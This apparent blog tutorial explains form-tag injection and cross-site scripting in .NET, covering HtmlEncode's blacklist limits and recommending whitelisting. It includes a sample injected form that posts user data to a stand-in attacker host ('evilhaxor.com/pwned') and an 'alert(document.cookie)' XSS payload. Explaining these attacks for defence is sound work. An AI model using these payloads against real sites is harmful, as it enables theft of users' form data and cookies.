The gist is that if you can insert a self contained form tag, the browser will ignore the other form tags. Let’s say that you have the following code:

<form action="good.php" method="post">
<input type="text" name="test" id="test"></input>
<input type="Submit" value="Submit">
</form>

If you can insert a self enclosed form tag:

<form action="http://evilhaxor.com/pwned" method="post" />
<form action="good.php" method="post">
<input type="text" name="test" id="test"></input>
<input type="Submit" value="Submit">
</form>

Notice the forward slash at the end of the tag? The second form tag will be ignored and the post data will be sent to the inserted action.

The main way to fight cross site scripting is encoding. If convert unsafe characters into their html counterparts,  then malicious code will not be executed. In .NET, the HttpUtility.HtmlEncode method converts some unsafe characters for you. This is a good way to cleanse content before it is interpreted by the browser, but it won’t stop all XSS vulnerabilities.

HtmlEncode uses “blacklisting” to block unsafe characters. Blacklisting will stop some attempts, but leaves room for other attacks to happen if the coder is not careful. HtmlEncode converts the following characters:

• <
• >
• &
• “
• Characters with values 160-255

This will block most, but what if you fall into a false sense of security and forget what HtmlEncode does? If you were to execute something like this:

<input value=’<%= HtmlEncode(thisAction’)’ %> id=’btnExecute’>

If thisAction equaled alert(document.cookie), then the attack would work. This approach doesn’t seem rational, but I’ve seen worse.

A better approach is to use whitelisting. If you escape everything except what needs to be there, then you decrease your threat surface substantially.